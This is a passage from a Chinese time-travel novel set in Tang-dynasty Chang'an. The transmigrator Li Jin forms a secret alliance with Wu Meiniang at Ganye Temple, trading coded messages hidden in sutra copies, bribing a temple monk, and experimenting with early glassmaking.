“其二,外界风云变幻,长安城从未真正平静。任何波动——无论是天灾,还是人祸——都可能产生涟漪,波及至此。法师需做的,是让自己变得‘有用’,在某些人眼中‘有价值’。如此,当时机出现——比如宫中需要一位精通文书、熟悉礼仪的比丘尼协助某些事务时——你才会进入考量的范围。”
他顿了顿,加重语气:“而如何让自己‘有用’、‘有价值’,便在于我刚才所说的‘蓄力’。你读的书,你暗中观察了解到的人心向背,你偶尔展现出的能力,甚至你在寺中经营的那点人脉,都可能成为关键时刻的砝码。”
武媚娘深深吸了一口气。李瑾没有给出具体的时间表,但这番话让她看到了希望——一种基于现实分析、可通过自身努力去争取的希望,而非虚无缥缈的等待。
“你要我忍,要我察,要我交,要我读书,要我经营。”她总结道,目光锐利,“这些,我都能做到。但你要如何助我?你一个寺外之人,又能做什么?”
终于问到实质性的合作了。李瑾心中一定,知道她已经初步接受了这套方案。
“我能做的,至少有三。”李瑾伸出三根手指,“第一,为你提供外界的信息。寺中消息闭塞,我虽不才,在长安尚有几分耳目,朝堂动向、市井流言、乃至宫闱琐闻,若有所得,可设法传递于你。”
“第二,为你解决一些实际的困难。”他继续道,“寺中清苦,若有需要——比如笔墨纸张,比如一些不易得的书籍,甚至是一些调理身体的药材——我可暗中筹措,通过稳妥的渠道送入。”
“第三,”李瑾目光坚定,“也是最重要的,我会在外,为你营造‘势’。”
“势?”武媚娘蹙眉。
“不错。”李瑾点头,“你需要机会,但机会不会凭空掉下来。我需要让某些人——也许是宫中某些掌事的女官,也许是礼部或宗正寺的官员——在某个时刻,能想起感业寺中,还有一位才学品行俱佳的比丘尼,法号明空。这需要时间,需要契机,更需要……我在外面的运作。”
他看着她:“但这需要你的配合。你在寺中的表现,你偶尔‘不经意’展露的才能,你与寺中某些人建立的良好关系,都会成为我对外‘说话’的依据。我们里应外合,方可成事。”
武媚娘沉默了。灯火在她眼中跳跃,映出复杂的光芒。她在权衡,在计算。李瑾的提议,风险极大,但回报也可能极高。他将自己与她捆绑,一荣俱荣,一损俱损。这比空口许诺,更让人有几分相信。
“你要如何传递消息?寺中管制甚严,书信往来极易被发现。”她问出了一个最关键的技术问题。
李瑾从怀中取出两本薄薄的、看似普通的《金刚经》手抄本,推到武媚娘面前:“以此传递。”
武媚娘接过,翻开。乍看之下,就是普通的经文抄写,字迹工整。但当她仔细看去,却发现某些字的笔画,似乎有极其细微的加粗或延长,若不刻意寻找,根本不会注意。
“这是……”她凝神细看。
“一种小把戏。”李瑾低声道,“我将要传递的信息,先用只有你我知晓的规则,转换成数字。然后,在这些经文的特定位置,按照数字,对某些字的笔画做极其细微的改动。比如,第一页第三行第七个字,右点加重,可能代表‘宫’;第二页第五行第二个字,撇画略长,可能代表‘中有变’。接收者按规则反向解读即可。”
他指了指经书:“这两本,一本是我给你的范本,上面有译码规则,藏在经页夹层中。另一本是空白,你可用来回复。改动笔画需用特制的、与纸张颜色完全一致的浆液,写后即干,肉眼难辨,但用我给你的另一种药水涂抹,字迹会短暂显形。看过即焚。”
武媚娘倒抽一口凉气。如此精巧隐秘的传信方式,她闻所未闻!这绝非临时起意能想出的,必然是经过深思熟虑、甚至可能早有准备的方案!李瑾此人,心思之缜密,手段之奇诡,远超她想象!
“此法……可靠吗?”她声音有些干涩。
“只要小心,应无大碍。”李瑾道,“经书在寺中流通寻常,不易惹疑。每次传递,我会将做了记号的经书混入其他供奉的经书中送入。你拿到后,依规则译出即可。你要回复,便在空白本上做好记号,置于经房东北角书架从下往上数第三格、最内侧的那卷《法华经》中。我每隔十日,会借故来寺一次,暗中取走。”
他连交接地点和方式都想好了!武媚娘看着眼前这个清瘦的年轻人,忽然感到一股寒意,但寒意中又夹杂着一丝难以抑制的兴奋。与如此人物合作,固然危险,但或许……真的能挣出一线生机!
“我如何信你?”她最后问道,目光灼灼,“你若出卖我,我万劫不复。你若有异心,我防不胜防。”
李瑾坦然迎上她的目光:“法师当下,除了信我,还有更好选择么?”这话残酷而真实。“至于出卖,于我何益?将你之事揭发,我最多得些赏银,却要背负背信弃义之名,更彻底断送一条可能通往高处的路。而若助你,他日你若得势,我便是从龙之功。这笔账,在下算得清。”
他站起身,重新披上蓑衣:“言尽于此。法师是聪慧绝顶之人,其中利害,自有判断。下次我来,会是十日后。若法师愿携手,届时经房一见。若不愿……”他顿了顿,“那便当从未见过在下,这些书稿,烧了便是。”
说完,他不再多言,推开经房门,悄无声息地融入夜雨之中。
武媚娘独自坐在经房里,对着那盏孤灯,看着面前两本看似平常的《金刚经》,久久未动。雨声渐渐小了,远处传来打更的梆子声,在寂静的夜里格外清晰。
她伸出手,轻轻抚过经书的封皮,指尖冰凉。
忍、察、交、读书、经营、等待……还有这套精密的传信之法。李瑾为她铺开了一条清晰得可怕的路,也将她拖入了一个危险得惊人的局。
但,这黑暗中透出的微光,这绝境中伸出的手,她有什么理由拒绝?
她缓缓握紧了经书,眼中最后一丝犹豫,被决绝取代。
第17章 风雨夜归人
李瑾的身影消失在夜雨深处,经房的门被无声掩上,仿佛从未有人来过。武媚娘独自坐在书案前,那盏孤灯的火苗在穿堂而过的夜风中摇曳不定,将她的影子投在斑驳的墙壁上,拉得细长而扭曲。
她一动不动,目光落在面前摊开的两本《金刚经》上。经书封皮粗糙,纸页泛黄,与寺中成千上万的经卷无异。但此刻在她眼中,这两本寻常经书却重若千钧——它们是连接她与外面那个疯狂世界的唯一绳索,是黑暗中递来的一把双刃剑。
雨声渐沥,敲打着窗纸。远处传来隐约的梆子声,已是三更天了。同屋的老尼鼾声均匀,对今夜发生的一切毫无察觉。武媚娘缓缓伸出手,指尖触碰到经书冰凉的封皮,那触感让她微微一颤。
她该信他吗?
这个问题在脑海中反复盘旋。李瑾此人,神秘得可怕。他能轻易闯入戒备森严的皇家寺院,能摸清巡夜武僧的规律,能拿出那些闻所未闻的奇书,能设计出如此精密的传信之法——这绝不是一个普通宗室子弟能做到的。他背后还有什么?他真正的目的又是什么?
“投资未来……”她低声重复着这个词,嘴角泛起一丝苦涩的弧度。她武媚娘,太宗皇帝的才人,如今沦落感业寺、朝不保夕的比丘尼,竟成了别人眼中的“投资”?
可偏偏,这番“投资”的说辞,比任何花言巧语都更让她动摇。因为她太清楚这个世界的规则了——没有无缘无故的好,只有赤裸裸的利。李瑾图她将来可能的价值,这反而真实。若他口口声声说什么赏识、怜惜,她倒要怀疑是陷阱了。
她翻开那本标注为“范本”的《金刚经》,就着昏黄的灯光,仔细辨认着字里行间那些细微的笔画变化。果然,在一些特定的位置,某些字的点、横、撇、捺有着几乎难以察觉的加粗或延长。若不刻意寻找,根本不会注意。而在经书最后几页的夹层中,她发现了一张极薄的绢纸,上面用蝇头小楷写满了字符与数字的对应规则,以及药水的配制与使用方法。
这套方法之精巧,让她脊背发凉。这需要何等的细心与谋算?李瑾为此准备了多久?
“忍、察、交、强身、广识、建渠道……”她默念着李瑾传授的六字要诀,每一个字都像锤子敲在心上。这些不是空泛的大道理,而是具体可行的方法。如何在寺中低调隐忍,如何观察人事,如何结交关键人物,如何强健体魄,如何利用藏经阁广博涉猎,如何从洒扫杂役口中套取外界消息……他甚至连细节都想到了。
这个人,仿佛能看透她所处的困境,并为她量身打造了一套生存与发展并重的策略。这不只是雪中送炭,这是在教她如何自己生火取暖。
武媚娘闭上眼,脑海中浮现出李瑾说话时的神情——平静,笃定,眼神深处有一种超越年龄的洞彻。他没有怜悯,没有施舍,只有一种近乎冷酷的理性分析。而这种理性,在此刻的她看来,比任何温情都更可靠。
雨声渐大,敲打着瓦檐,发出噼啪声响。一阵冷风从窗缝钻入,吹得灯焰剧烈摇晃。武媚娘下意识地伸手护住灯火,指尖感受到些许暖意。
她忽然想起很多年前,在太宗皇帝身边侍奉笔墨时,曾听那位英明神武的帝王点评朝臣:“世上之人,或为利来,或为名往,或为情困。唯有一种人最难驾驭——他为的,是你看不懂的东西。”
当时的她不解其意。现在,她忽然有些明白了。李瑾图利吗?图。但他图的不是眼前小利,而是泼天的大利。他图名吗?或许。但他要的名,绝非诗会扬名、士林称颂那种虚名。那他还图什么?
“为的是你看不懂的东西。”太宗皇帝的声音仿佛在耳边响起。
武媚娘睁开眼,眸中闪过一丝锐芒。看不懂又如何?只要他的利益与自己的前路绑定,只要他真有能耐将自己从这泥潭中拽出,那便够了。至于他背后还有什么,那是以后要考虑的事。
当下最要紧的,是活下去,是积蓄力量,是等待时机——正如李瑾所说。
她小心收好经书和绢纸,将“范本”藏在禅房角落一块松动的地砖下,将“空白本”塞入怀中贴身收藏。然后吹熄油灯,摸黑回到硬板床上躺下。
黑暗中,她睁着眼,听着窗外淅沥的雨声,听着同屋老尼绵长的鼾声,听着自己逐渐平稳有力的心跳。
一夜无眠。
------
同一时刻,长安城的夜雨愈下愈大。
李瑾穿着深色蓑衣,像一道幽灵,穿梭在坊间的街巷中。他避开了主干道,专挑偏僻小巷行走。雨水顺着斗笠边缘流淌成线,打湿了他的肩头。靴子踩在积水里,发出轻微的噗嗤声。
离开感业寺的过程比潜入时更加凶险。他刚翻出寺院西侧一段较矮的围墙,就险些与一队巡夜的武僧撞个正着。幸亏他提前观察过地形,及时躲进一处假山石的阴影中,屏息凝神,直到那队武僧提着灯笼、骂骂咧咧地走远,才敢继续行动。
雨水掩盖了他的踪迹,但也让夜路更加难行。长安城实行宵禁,此刻街上空无一人,只有巡街的金吾卫队伍偶尔经过。李瑾凭借着对坊市布局的记忆和原主残留的些许印象,在迷宫般的巷弄中迂回前进。
他的大脑在高速运转,复盘着刚才与武媚娘会面的每一个细节。
冒险吗?当然冒险。夜闯皇家寺院,一旦被发现,就是死罪。但他不得不冒这个险。时间不等人,武媚娘在感业寺多待一天,就多一分被磨去锐气的可能,也多一分意外发生的风险。他必须尽快与她建立实质性的联系,将合作的框架敲定。
效果如何?从武媚娘最后的反应看,她动摇了,也心动了。那套“密码通信”的方法镇住了她,那六字要诀说到了她心坎里。但她不会轻易全盘信任,这需要时间,也需要他后续持续地“投喂”有价值的信息和帮助。
下一步该怎么做?李瑾一边在雨夜中疾行,一边思索。首先,要尽快建立起稳定的信息传递渠道。感业寺那边,武媚娘需要时间消化、践行他给的建议,并尝试用那套密码本传回第一封信。这大概需要十天半月。
而这十天半月,他自己也不能闲着。他需要赚钱,需要人脉,需要尽快在长安立足。“净琉璃”的试验必须加速,王掌柜那条线可以用,但要小心控制,不能让他窥见全貌。杜铭那边,或许也该适时接触一下,那个京兆杜氏的公子哥,是打入长安年轻士子圈子的不错跳板。
还有……李瑾忽然想起那日西市巧遇的袁天罡。那位神秘的老道士,一眼看穿他“星外异数”的底细,却并未点破,反而似有深意。此人必须留意,是敌是友尚未可知。
“咳咳……”一阵冷风夹着雨丝灌入咽喉,李瑾忍不住低咳两声,拉紧了蓑衣。这具身体还是太弱,病愈不久,今夜又淋了雨,恐怕要染风寒。回去得让李福熬碗姜汤。
他拐进崇仁坊,坊门早已关闭,但西北角有一段年久失修的土墙,他早已探明,可以从那里攀爬进去。就在他靠近土墙,准备借力上跃时,忽然,一阵急促的马蹄声由远及近,打破了雨夜的寂静!
李瑾心头一紧,迅速闪身躲进墙根的阴影里,屏住呼吸。这个时候,能在宵禁的街道上纵马疾驰的,绝非寻常人物!
只见两骑快马从坊外主街飞驰而过,马上骑士穿着蓑衣,看不清面目,但鞍边悬挂的令牌在偶尔闪过的电光中反射出金属的冷光——是宫中禁军的令牌!
这么晚了,宫中禁军匆匆出宫,所为何事?李瑾的心提了起来。是宫中出了什么事?还是边疆有变?
马蹄声迅速远去,消失在雨幕中。李瑾等了片刻,确认再无动静,才从阴影中走出,利落地翻过土墙,落入崇仁坊内。落地时脚下打滑,险些摔倒,他稳住身形,抹了把脸上的雨水,朝着自家小院的方向快步走去。
雨越下越大,砸在坊间的屋瓦上,噼啪作响,仿佛在敲打着某种不安的节拍。
回到小院时,已近四更天。李福居然还没睡,就着一盏油灯,在堂屋缝补衣物,听到门响,急忙起身,看到浑身湿透、面色苍白的李瑾,吓了一跳。
“阿郎!您这是……”李福连忙上前,接过蓑衣,触手冰凉。
“无妨,出去走了走,遇雨了。”李瑾摆摆手,声音有些沙哑,“福伯,劳烦煮碗姜汤来。”
李福欲言又止,看着小主人疲惫却异常明亮的眼神,最终把话咽了回去,转身去了灶间。阿郎自病愈后,行事愈发莫测,他这老仆,只需照顾好起居便是。
李瑾换了干爽衣物,坐在堂屋,就着灯光,摊开一张长安城的粗略草图——这是他自己凭记忆绘制的。他的手指点在感业寺的位置,又滑向皇城,再滑向崇仁坊……脑海中,今夜所见所闻,与已知的历史脉络交织碰撞。
“风雨欲来啊……”他低声自语。不仅是指窗外的疾风骤雨,更是指这座庞大帝国看似平静表面下,正在涌动的暗流。而他,已经一脚踏入了这漩涡的边缘。
姜汤很快煮好,李福端来,李瑾一饮而尽,一股暖流从喉咙直抵胃腹,驱散了些许寒意。
“阿郎,早些歇息吧。”李福劝道。
“嗯。”李瑾点点头,却并未起身。他看向窗外漆黑的夜空,雨势似乎小了些,但云层依旧厚重,看不到半点星光。
感业寺中,那盏孤灯想必早已熄灭。那个同样无眠的女子,此刻在想些什么?是否已经开始研读那本密码范本?是否在脑海中勾勒他所说的那条“生存与发展”之路?
他们之间这条以风险与野心编织的脆弱纽带,能否经得起即将到来的风雨?
李瑾不知道答案。他只知道,从今夜起,他与她的命运,已经以一种奇异而危险的方式,捆绑在了一起。前路艰险,步步杀机,但既然选择了,便再无回头路。
他吹熄油灯,走入内室。躺在床上,听着渐渐稀疏的雨声,困意终于袭来。在陷入沉睡的前一刻,他脑海中最后的画面,是武媚娘在经房灯下那双清冷而倔强的眼睛。
那眼睛里,有怀疑,有挣扎,但最终,燃起了一丝微弱的、名为希望的火光。
这就够了。
------
接下来的几日,长安城笼罩在连绵的阴雨中。李瑾染了风寒,低烧咳嗽,只得在家中将养。李福悉心照料,汤药不断,病情总算没有加重。
卧病期间,李瑾并未闲着。他让李福去西市买了些质量更好的石英砂、纯碱和石灰石,继续秘密改进“净琉璃”的配方。同时,他开始梳理原主的记忆,更细致地了解这个时代的社会规则、人际关系网络,特别是宗室子弟这个尴尬身份可能带来的便利与限制。
王掌柜来过一次,旁敲侧击地问起“净琉璃”的进展。李瑾以“古籍残缺,尚需时日推敲”为由搪塞过去,但透露了些许“已有小成,不日可现”的口风,吊足了他的胃口。王掌柜心领神会,留下些滋补品,笑眯眯地告辞。
杜铭那边也派人送来了请柬,邀请他参加旬日后的曲江池诗会。李瑾收下请柬,回帖称病体未愈,届时若好转,定当前往。这是一个信号,表明他愿意进入那个圈子,但又不显得过于急切。
他在等待。等待身体康复,等待“净琉璃”的突破,等待……感业寺那边的回音。
第十日,雨终于停了,天空放晴。李瑾的风寒也基本痊愈。他换上那身半旧的青色袍衫,再次以“为长明灯添香油、请教经义”为由,前往感业寺。
一切如常。知客僧慧明见是他,已不甚惊讶,例行公事地引他入内,让他自行去偏殿等候。李瑾在偏殿佯装翻阅经书,目光却不时扫向经房方向。
约莫过了小半个时辰,他借口如厕,离开偏殿,状似随意地走向经房。经房内空无一人。他迅速走到东北角书架,手指摸向从下往上数第三格,最内侧——那里果然多了一卷《法华经》。
李瑾的心跳快了一拍。他迅速抽出经卷,入手便觉重量有异。他不动声色地将经卷揣入怀中,回到偏殿,又坐了约一刻钟,才向知客僧告辞离去。
回到崇仁坊小院,紧闭房门。李瑾点燃油灯,取出那卷《法华经》,快速翻阅。在特定的页码、特定的行数、特定的字上,他看到了那些细微的、常人绝难发现的笔画修饰。
他取出早已备好的、按照绢纸上方法配制的药水,用细毛笔蘸取,轻轻涂抹在那些做过标记的字上。很快,一行行淡褐色的字迹,在纸张上显现出来。
字迹清秀而有力,是武媚娘的手笔。内容很简单,只有三句话:
“经已阅,法已受。寺中慧明贪利,可交。闻宫中欲缮写《一切道经》,或有机。”
李瑾盯着这短短三行字,看了许久,嘴角缓缓勾起一丝笑意。
“经已阅,法已受”——她接受了他的建议和合作方式。
“寺中慧明贪利,可交”——她已经开始“察”和“交”,并给出了第一个有价值的信息:知客僧慧明贪财,可以钱财结交。这是建立内应的重要突破口。
“闻宫中欲缮写《一切道经》,或有机”——她甚至已经利用寺中可能的信息渠道(或许是采买的杂役,或许是其他尼姑的闲聊),捕捉到了一个潜在的机会!宫中要大规模抄写道经,可能需要从各寺院抽调精于书法的僧尼协助!这是一个能让武媚娘“有用”、进入某些人视线的绝佳机会!
好快的动作!好敏锐的嗅觉!不过短短十日,她不仅消化了他的建议,还迅速付诸行动,并找到了第一个可能的突破口!
李瑾心中的一块石头,稍稍落地。合作的第一步,成了。武媚娘不仅接过了他抛出的橄榄枝,还立刻展现了她的价值与能力。
他小心地将显示字迹的页面在灯焰上点燃,看着它们化为灰烬。然后,他铺开纸笔,开始构思回信。
他需要肯定她的进展,提供结交慧明的具体建议(如何投其所好又不引人怀疑),分析“缮写道经”这个机会的可能性与风险,并给出下一步的行动方向——比如,如何让她的书法在“不经意间”被看到,如何打探具体负责此事的官员等等。
同时,他也要开始自己的行动了。王掌柜那边的“净琉璃”需要加快,杜铭的诗会要去露个面,还有,得想办法打听一下,宫中要缮写《一切道经》的消息是否确实,具体由哪个衙门负责……
灯火下,李瑾伏案疾书,神情专注。窗外的长安城,华灯初上,夜市将开,又是一个寻常的夜晚。但在这座巨大城市不起眼的角落里,一场悄然改变历史的秘密盟约,已经写下了第一个音符。
风雨夜归人,已悄然推开了一扇门。门后的道路,漫长而险峻,但方向,已然明确。
第18章 媚娘尺素书
灯下,信笺上的三行字迹,淡褐色的药水痕迹逐渐在空气中氧化,颜色变得更深,也更易辨认。李瑾的目光反复扫过这几句话,脑海中无数念头如电光石火般碰撞、交织、推演。
“经已阅,法已受。”
这简单的六个字,分量极重。它不仅意味着武媚娘接受了他所授的“自保蓄力、待时而动”之法,更意味着她初步认同了那条隐秘的、基于“密码通信”的联系渠道。这是一种姿态,一种信号——她愿意踏上他规划的道路,至少,愿意尝试。
“寺中慧明贪利,可交。”
这是武媚娘递出的第一份“投名状”,也是她展示能力的开始。知客僧慧明,那个面色严肃、看似规矩的年长比丘尼,竟“贪利”。这个信息看似平常,实则价值千金。感业寺作为皇家寺院,执事僧尼未必清苦,但“贪利”与“可利用”之间,有着微妙的差别。武媚娘在短短十日内,便已观察出此点,并精准地将其提炼为“可交”——即可以通过金钱或利益笼络,成为某种程度上的“内应”。这证明她不仅听了,而且立刻运用了“察”与“交”的策略,执行力与洞察力俱佳。
“闻宫中欲缮写《一切道经》,或有机。”
这更是至关重要的战略情报!李瑾的心跳微微加速。《一切道经》是唐代道教经典的总集,规模浩大。宫中若欲大规模缮写(抄录、校对、整理),必然需要大量精通书法、熟悉典籍的人手。仅靠宫中内侍、翰林院的书手恐怕不够,从长安乃至天下各寺院、道观抽调有文化的僧尼道士协助,是极有可能的惯例!这是一个将武媚娘从感业寺这个封闭空间“推出去”,进入更高层面视野的绝佳机会!一旦她能参与此事,哪怕只是最外围的抄写工作,也意味着她可以短暂离开感业寺,接触宫廷事务的边缘,甚至可能让某些关键人物(比如负责此事的官员,乃至……有机会接触到皇帝)看到她的才华!更重要的是,这提供了一个“合法”、“正当”的、展示其价值(书法、学识)的舞台!
“好敏锐的嗅觉!好快的动作!”李瑾忍不住低声赞叹。他原本以为,武媚娘需要更长时间来消化、适应,并缓慢地建立信任。没想到,她不仅迅速接受了合作框架,还立刻付诸实践,并反馈回如此有价值的情报。这不仅仅是聪慧,更是一种在绝境中挣扎求生、对任何一线机会都死死抓住的本能!不愧是她!
兴奋之余,李瑾强迫自己冷静下来。机会往往与风险并存。他需要立刻做几件事:
第一,回信。 必须肯定武媚娘的进展,并给出具体、可操作的下一步指示。这封回信,是他们同盟关系实质化的第一步,至关重要。
第二,核实与利用“缮写道经”的信息。 这个消息的来源是否可靠?具体由哪个衙门负责?何时开始?遴选标准如何?他必须尽快从外部渠道进行核实和打探。
第三,落实“交”慧明。 需要准备合适的“饵料”,既能打动慧明,又不会过于惹眼,引起怀疑。
第四,加快自身实力积累。 无论是外部运作,还是未来可能的资金支持,都需要他尽快拥有一定的资本和人脉。王掌柜的“净琉璃”项目,杜铭的诗会邀请,都必须抓紧。
思路清晰,李瑾立刻行动。他重新铺开一张与武媚娘所用同款的、看似普通的经书用黄麻纸,研磨墨汁,但用的并非普通墨,而是他根据记忆,用几种植物汁液和矿物粉秘密调制的特殊“墨水”,写在纸上初时无色,需用另一种药水涂抹才能显形。这是对武媚娘所获“密码本”的升级和反制验证——他必须掌握更核心的加密技术,既是保护,也是一种微妙的掌控。
他提笔,用极细的狼毫笔尖,以工整的小楷,在经文的字里行间,开始嵌入他的回复。他写的很慢,很小心,确保每一个经过改动的笔画都自然融入原字,天衣无缝。
“阅信甚慰。慧明处,可渐进结交,投其所好而不露痕迹。附上开元通宝二十贯(等价绢帛或小额金银更宜),以为初饵。可借口为亡亲祈福,额外供奉灯油香火,由其经手,稍予便利。其人贪利,然未必无胆,初交慎之,观其行而后定深浅。”
他首先肯定了结交慧明的方向,并提供了具体的操作建议和启动资金。二十贯不是小数目,但足以打动一个贪利的知客僧,又不会多到引人怀疑。用“为亡亲祈福”做借口,合情合理。
“缮经事,至关重要。尔需暗中准备,勤练书法,尤工楷体、行书,力求端正秀丽。佛道典籍,亦需温习,尤重《老子》、《庄子》及《本际经》等道门要典,以备询查。此事成否,半在人为,半在天时。外界消息,吾自当打探,有确信即告。”
这是具体的指导。让她做好技能和知识的准备。书法是硬指标,对道家经典的熟悉则是软实力,能增加她被选中的筹码。同时,他将外部情报收集的责任揽到自己身上,减轻她的压力,也彰显自己的价值。
“另,附一润手方,寺中清苦,可自用,亦可酌情予交好之杂役、仆妇,收买人心,其效甚于钱帛。方曰:猪胰、皂角、杏仁、绿豆粉、密陀僧……” 他写下一个简单的、唐代条件可实现的护肤润手配方。感业寺劳作辛苦,武媚娘及其交好者手部易粗糙,此方能显关怀,比直接给钱更贴心,也更容易拉近关系。
“时机未至,务请隐忍蓄力,保重其身。你我之谋,在久远,不在朝夕。阅后即焚,切切。”
最后是叮嘱与共勉,强调长期性和隐蔽性。
信写毕,他仔细检查一遍,确认无误。待墨迹干透,他将其小心卷好,与另外几卷普通佛经混在一起。然后,他取出一个小锦囊,里面是早已兑换好的、易于隐藏和使用的几片金叶子和小块碎银,总计价值约二十贯。又将润手方的配方另抄在一张小纸条上,用药水处理过,与金叶子分开藏好。
做完这些,窗外天色已近黄昏。李瑾唤来李福。
“福伯,明日你去西市,寻王掌柜,如此说……”他低声吩咐一番。主要是两件事:一是询问“净琉璃”材料准备的进展,并暗示近日或有小成,可先看样品;二是打听一下,近日宫中或礼部、宗正寺、秘书省等衙门,是否有大规模征集善书之人、或筹备大型文书编纂的风声,借口是“听说有此类差事,想看看有无门路谋个抄写的活计补贴家用”。
李福虽不解其意,但对小主人近来种种神秘行事已有些习惯,只是点头应下。
“另外,”李瑾想了想,又道,“替我准备一份像样的拜帖,再备一份……唔,就选前日你从西市买回的那方还算不错的歙砚吧,明日我要去拜访杜铭公子。”
“拜访杜公子?”李福有些惊讶,杜铭是京兆杜氏的公子,与他们这等破落宗室平日并无往来。
“嗯,诗会之约将近,总要提前走动,以示礼数。”李瑾淡淡解释。拜访杜铭,一是巩固关系,为诗会铺垫;二来,杜铭出身名门,交游广阔,或许能从其口中听到一些关于“缮写道经”或其他宫闱朝堂的零星消息,这比从市井打听要可靠得多。
李福不再多问,自去准备。
次日,李福一早便出门。李瑾则在家中,继续鼓捣他的“净琉璃”实验。经过多次失败,他调整了石英砂、纯碱、石灰石的比例,并改进了熔炼工艺——尝试用粘土制作了小型坩埚,并用风箱提高炉温。这一次,出炉的玻璃液颜色更浅,杂质和气泡明显减少。待其冷却后,得到了一小块比之前纯净得多、透明度也高不少的淡绿色玻璃片,虽然距离后世纯净透明的玻璃还有差距,但在这个时代,已堪称“琉璃精品”!
李瑾小心地将其打磨边缘,对着阳光看去,光线透过,已颇为清澈,隐隐有光彩流动。成了!至少,初步成了!有了这个样品,与王掌柜的谈判,乃至后续的资本积累,就有了最坚实的砝码。
傍晚,李福回来,带回消息:王掌柜那边材料已备齐一部分,听闻“小成”,很是兴奋,约他三日后详谈。至于打听消息,王掌柜人面颇广,答应帮忙留意,但目前尚无确切风声。
李瑾点点头,这在意料之中。如此机要之事,不会轻易流传于市井。
又过一日,李瑾带着拜帖和歙砚,前往杜铭在崇仁坊的宅邸。杜铭对他这个近期“诗名鹊起”的宗室子颇有兴趣,热情接待。交谈中,李瑾有意将话题引向经史典籍、书法文章,杜铭果然提起,听闻宗正寺那边近日事务繁杂,似与整理先帝遗物、编纂某些纪念文集有关,但具体不详。这虽非直接关于“缮写道经”,但至少说明宫廷和宗室机构最近有文化方面的动作,侧面印证了武媚娘消息的可能性。
李瑾心中稍定。临别时,杜铭再次热情邀请他务必参加旬日后的曲江池诗会,并暗示届时会有不少“清贵人物”到场。李瑾自然满口答应。
回到家中,李瑾知道,是时候进行第二次“通信”了。
这一次,他不再需要冒险夜闯。他换上一身半新不旧的青色儒袍,再次以“为父母长明灯添加香油,并请教法师某段经文释义”为由,正大光明地前往感业寺。知客僧慧明见是他,已无初次时的审视,例行公事地引他入内。李瑾趁其不备,将装有金叶子、润手方和那卷特殊“经书”的锦囊,以及另外两卷普通经书作为掩护,悄悄塞入了一个不起眼的、供奉在偏殿角落的破旧经幢底座缝隙中——这是他与武媚娘约定的新交接点,比经房书架更隐蔽。同时,他取走了武媚娘放在原处(经房书架)的、那卷空白《法华经》——她已用同样的密码方式,在里面留下了新的信息,可能是对上次的回应,也可能是新情报。
整个过程平静无波。添香油,请教经文(他确实准备了一个无关紧要的佛理问题),与慧明法师闲聊几句,表达对寺中清修之人的敬意,并“不经意”地提到,亡母托梦,希望他多行善事,故想再捐一笔香油钱,为寺中所有清修师父祈福,恳请慧明法师代为操办,并“略表心意”…… 一番话说得情真意切,合情合理,那装有相当于数贯钱的碎银的小布袋“无意”中落入慧明袖中。慧明捏了捏布袋,脸上严肃的表情柔和了许多,合十道:“施主孝心可嘉,佛祖必佑。此事贫尼会妥善办理。”看向李瑾的目光,也少了几分疏离,多了几分“自己人”的意味。
第一步,“交”慧明,顺利埋下种子。
离开感业寺,回到小院,紧闭房门。李瑾迫不及待地取出那卷《法华经》,用药水涂抹。新的字迹显现,依然是武媚娘那清秀而有力的笔迹:
“银钱已妥置,慧明处已有眉目,分寸在握。缮经事,闻由秘书省、宗正寺共理,或下月甄选。书法日课不辍,道经亦温习。近日左监门将军郭氏府中女眷来寺祈福,或为机缘。一切安好,勿念。阅即焚。”
信息更具体了!指明了负责机构(秘书省、宗正寺),给出了大致时间(下月),还提供了一个潜在的新机会点(左监门将军郭氏女眷来寺祈福)!郭氏,这可是军方实权人物,其女眷来感业寺,或许能接触到更高层次的关系网。武媚娘不仅完美执行了他的指示,还在主动寻找和创造机会!这份心性和能力,让李瑾既欣喜又凛然。
同盟的齿轮,已经开始严密咬合,缓缓转动。
他将经卷靠近灯焰,看着武媚娘的字迹在火焰中蜷曲、变黑、化为灰烬,心中却有一簇火苗悄然燃起。
他知道,从这一刻起,他不再是孤独的穿越者,不再是黑暗中独自摸索的旅人。在这座庞大而陌生的长安城里,在看似固若金汤的历史高墙之内,他已经有了一个虽然脆弱、却潜力无限的盟友。他们各自在黑暗中蛰伏、积蓄,通过这无形的丝线传递着信息与力量,共同编织着一张细密而危险的网,等待着捕猎时机,或者……破网而出的那一刻。
李瑾铺开一张白纸,开始梳理接下来的行动计划:
1. 加快“净琉璃”量产试验,与王掌柜敲定合作,获取第一桶金。
2. 通过王掌柜、杜铭等渠道,核实“秘书省、宗正寺缮写道经”及“郭氏女眷”信息,并寻找切入点。
3. 精心准备曲江池诗会,争取一鸣惊人,打入更高层次的文人圈子,拓展人脉与信息源。
4. 持续与武媚娘保持密信联系,指导她利用“郭氏女眷”等机会,并继续巩固寺内关系(慧明及其他可交之人)。
5. 开始有意识地收集朝堂动态、后宫风向,特别是与李治(太子)、王皇后、萧淑妃等相关的信息。
前路依然布满荆棘,但方向已清晰,伙伴已就位。他不再是那个只能被动接受命运的李瑾了。
窗外,暮色四合,长安城的灯火次第亮起。李瑾吹熄油灯,走到院中,仰头望向繁星初现的夜空。历史的长河依旧奔流,但他已不再是随波逐流的浮萍。他手中,已握有一支能够搅动微澜的船桨。
“武媚娘……明空法师……” 他低声自语,嘴角浮现一丝极淡的笑意,“我们的路,才刚刚开始。”
同盟初建,棋局已开。下一步,该落子了。
第19章 金银开道时
暮色四合,崇仁坊小院的西厢房内,李瑾将最后一抔湿沙仔细地覆盖在陶模上,轻轻拍实。他面前的简易地炉中,炭火正旺,发出暗红色的光,将他的脸映得明暗不定。炉上架着的,是一个用上好陶土精心烧制、形似葫芦的密闭坩埚,此刻正发出轻微的、令人不安的“噼啪”声。
距离他收到武媚娘的第二封密信,已过去三日。这三天,除了让李福继续打探“缮经”与“郭氏女眷”的消息,并例行公事般去了一次感业寺,借添香油之机与慧明“闲聊”几句、稳固关系外,他将全部精力都投入到了眼前的“净琉璃”大业中。
与王掌柜约定的三日之期已到,成败在此一举。
他改良了配方,将石英砂淘洗了又淘洗,几乎去除了所有可见杂质;纯碱(天然碱)和石灰石也尽量选用最纯净的。更重要的是,他借鉴了后世玻璃工艺中“澄清剂”的概念,尝试加入少量硝石(硝酸钾)和此前在西市淘来的、疑似含锰的矿物粉末(作为脱色剂尝试),以期进一步去除气泡、减轻色泽。工艺上,他放弃了之前露天堆烧的粗陋方法,设计了这个带简易陶制烟道的地炉,并用羊皮囊改造了一个手动风箱,由李福在外间鼓风,以获得更高、更稳定的炉温。
